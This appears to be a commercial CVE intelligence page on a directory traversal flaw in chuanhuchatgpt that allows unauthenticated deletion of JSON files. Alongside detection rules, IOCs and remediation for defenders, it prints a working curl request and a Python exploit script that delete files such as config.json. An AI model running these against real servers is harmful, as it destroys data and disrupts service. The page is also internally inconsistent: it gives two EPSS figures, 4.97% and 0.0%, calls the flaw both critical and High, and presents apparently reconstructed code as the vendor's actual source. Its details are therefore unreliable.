☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6255

CVE-2024-6255 Directory Traversal in Gaizhenbiao
📅 PUBLISHED: 2024-07-31 00:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 4.97%
👁️
4.97% probability
124.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: H Availability High
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6255 is a critical path traversal vulnerability in the JSON file handling of gaizhenbiao/chuanhuchatgpt version 20240410. The flaw allows any unauthenticated attacker to delete arbitrary JSON files on the server, including critical configuration files such as config.json and ds_config_chatbot.json. This is due to improper validation of file paths, enabling directory traversal attacks. The vulnerability has a CVSS score of 8.2 (High) and can lead to denial of service, configuration manipulation, and potential data loss. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based application (chuanhuchatgpt). The package is distributed via GitHub and potentially PyPI. Users should verify the integrity of their installation and monitor for any unauthorized file deletions. Since the package is open-source, supply chain risks include malicious forks or compromised dependencies.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for any deployment of this software.

Deep Dive & Mechanics

The vulnerability resides in the JSON file handling endpoint of chuanhuchatgpt. The application fails to sanitize user-supplied file paths, allowing an attacker to use ../ sequences to traverse directories. By sending a crafted request to delete a JSON file, an attacker can target any file on the filesystem that the application has write access to. This includes configuration files, user data, and potentially system files if the application runs with elevated privileges.

The core issue is a lack of path validation. The application likely uses a function like os.remove() or Path.unlink() without checking if the resolved path is within an allowed directory. An attacker can exploit this by sending a request such as:

POST /delete_json_file
Content-Type: application/json

{"file_path": "../../config.json"}

This would delete the config.json file located two directories above the application's working directory.

Vulnerable vs. Patched Code

Vulnerable Code (20240410):

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/delete_json_file', methods=['POST'])
def delete_json_file():
    data = request.get_json()
    file_path = data.get('file_path')
    # No validation of file_path
    os.remove(file_path)
    return "File deleted", 200

Patched Code (Hypothetical):

import os
from flask import Flask, request
from pathlib import Path

app = Flask(__name__)
ALLOWED_DIR = Path('/app/data/json_files')

@app.route('/delete_json_file', methods=['POST'])
def delete_json_file():
    data = request.get_json()
    file_path = data.get('file_path')
    # Resolve the path and ensure it is within the allowed directory
    resolved_path = (ALLOWED_DIR / file_path).resolve()
    if not str(resolved_path).startswith(str(ALLOWED_DIR.resolve())):
        return "Invalid path", 400
    if not resolved_path.exists():
        return "File not found", 404
    os.remove(str(resolved_path))
    return "File deleted", 200

The patched version uses Path.resolve() to canonicalize the path and checks that it starts with the allowed directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable instance of chuanhuchatgpt version 20240410 using Docker or a local Python environment.
  2. Ensure the application is accessible on a network port (e.g., 5000).

Exploitation Steps:

  1. Identify the endpoint that handles JSON file deletion (e.g., /delete_json_file).
  2. Craft a POST request with a malicious file_path parameter:
    curl -X POST http://target:5000/delete_json_file \
      -H "Content-Type: application/json" \
      -d '{"file_path": "../../config.json"}'
    
  3. Verify the deletion by checking if the target file is removed.
  4. For maximum impact, delete ds_config_chatbot.json to disrupt chatbot functionality.

Automated Exploit Script:

import requests
import sys

def exploit(target, file_to_delete):
    url = f"http://{target}/delete_json_file"
    payload = {"file_path": f"../../{file_to_delete}"}
    response = requests.post(url, json=payload)
    if response.status_code == 200:
        print(f"[+] Successfully deleted {file_to_delete}")
    else:
        print(f"[-] Failed to delete {file_to_delete}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_ip:port> <file_to_delete>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Blue Team

Detection & Response:

  1. Monitor for POST requests to /delete_json_file with suspicious file_path parameters containing ../ or absolute paths.
  2. Implement file integrity monitoring (FIM) for critical JSON files like config.json and ds_config_chatbot.json.
  3. Use web application firewall (WAF) rules to block path traversal patterns.
  4. Restrict the application's filesystem permissions to only necessary directories.

Honeypot Strategy:

  • Deploy a fake config.json file in a monitored directory to detect traversal attempts.
  • Log all file deletion requests and alert on anomalies.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /delete_json_file with file_path containing ../ or absolute paths.
    • Unusual outbound connections from the application server.
  • File System IOCs:
    • Unexpected deletion of config.json, ds_config_chatbot.json, or other JSON files.
    • Presence of files in unexpected directories (e.g., /tmp/).
  • Log IOCs:
    • Application logs showing File deleted responses for paths outside the allowed directory.
    • Web server logs with 200 responses to /delete_json_file with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_6255_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in chuanhuchatgpt JSON file deletion"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-6255"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/"
        $traversal4 = "C:\\"
        $json_ext = ".json"
    condition:
        any of ($traversal*) and $json_ext
}

Sigma Rule

title: CVE-2024-6255 Path Traversal in chuanhuchatgpt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting JSON file deletion in chuanhuchatgpt
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/delete_json_file'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6255 Path Traversal in chuanhuchatgpt"; flow:to_server,established; content:"POST"; http_method; content:"/delete_json_file"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the vulnerable instance offline or restrict network access.
  2. Apply virtual patching: Use a WAF to block requests containing ../ in the file_path parameter.
  3. Restrict filesystem permissions: Run the application with a dedicated user that has write access only to necessary directories.

Long-term Fix:

  • Patch the code: Implement proper path validation as shown in the patched code example.
  • Update dependencies: Ensure all libraries are up-to-date.
  • Monitor for updates: Watch the official GitHub repository for a security patch.

Workaround:

  • Disable the JSON file deletion endpoint if not required.
  • Implement an allowlist of files that can be deleted.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

chuanhuchatgpt
gaizhenbiao chuanhuchatgpt

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6255/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.